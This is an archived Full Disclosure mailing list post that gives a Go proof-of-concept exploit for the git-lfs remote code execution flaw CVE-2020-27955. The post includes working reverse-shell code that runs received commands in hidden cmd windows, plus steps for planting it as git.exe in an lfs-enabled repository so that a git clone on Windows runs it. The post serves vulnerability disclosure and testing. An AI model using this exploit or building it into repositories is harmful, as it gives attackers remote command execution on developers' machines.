<!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="0"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#1">By Date</a>
<a href="2"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="0"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#1">By Thread</a>
<a href="2"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>
</div>
<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">Git LFS (git-lfs) - Remote Code Execution (RCE) exploit CVE-2020-27955 - Clone to Pwn</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->
<em>From</em>: Dawid Golunski <dawid () legalhackers com>
<em>Date</em>: Wed, 4 Nov 2020 23:26:44 -0300
<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">/*
Go PoC exploit for git-lfs - Remote Code Execution (RCE)
vulnerability CVE-2020-27955
git-lfs-RCE-exploit-CVE-2020-27955.go
Discovered by Dawid Golunski
<a rel="nofollow" href="https://legalhackers.com">https://legalhackers.com</a>
<a rel="nofollow" href="https://exploitbox.io">https://exploitbox.io</a>
Affected (RCE exploit):
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
Basically the whole Windows dev world which uses git.
Usage:
Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
Save & commit as git.exe
The payload should get executed automatically on git clone operation.
It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).
An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:
git lfs track "*.dat"
echo "fat bug file" > lfsdata.dat
git add .*
git add *
git commmit -m 'git-lfs exploit' -a
Check out the full advisory for details:
<a rel="nofollow" href="https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html">https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html</a>
<a rel="nofollow" href="https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html">https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html</a>
PoC video at:
<a rel="nofollow" href="https://youtu.be/tlptOf9w274">https://youtu.be/tlptOf9w274</a>
** For testing purposes only **
*/
package main
import (
"net"
"os/exec"
"bufio"
"syscall"
)
func revsh(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
// Conn failed
if nil != c {
c.Close()
}
// Calc for testing purposes if no listener available
cmd := exec.Command("calc")
cmd.Run()
return
}
r := bufio.NewReader(c)
for {
runcmd, err := r.ReadString('\n')
if nil != err {
c.Close()
return
}
cmd := exec.Command("cmd", "/C", runcmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
// Connect to netcat listener on local port 1337
func main() {
revsh("localhost:1337")
}
--
Regards,
Dawid Golunski
<a rel="nofollow" href="https://legalhackers.com">https://legalhackers.com</a>
<a rel="nofollow" href="https://ExploitBox.io">https://ExploitBox.io</a>
t: @dawid_golunski
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives & RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a>
</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="0"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#1">By Date</a>
<a href="2"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="0"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#1">By Thread</a>
<a href="2"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>Git LFS (git-lfs) - Remote Code Execution (RCE) exploit CVE-2020-27955 - Clone to Pwn</strong> <em>Dawid Golunski (Nov 05)</em>
</li></ul>
<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>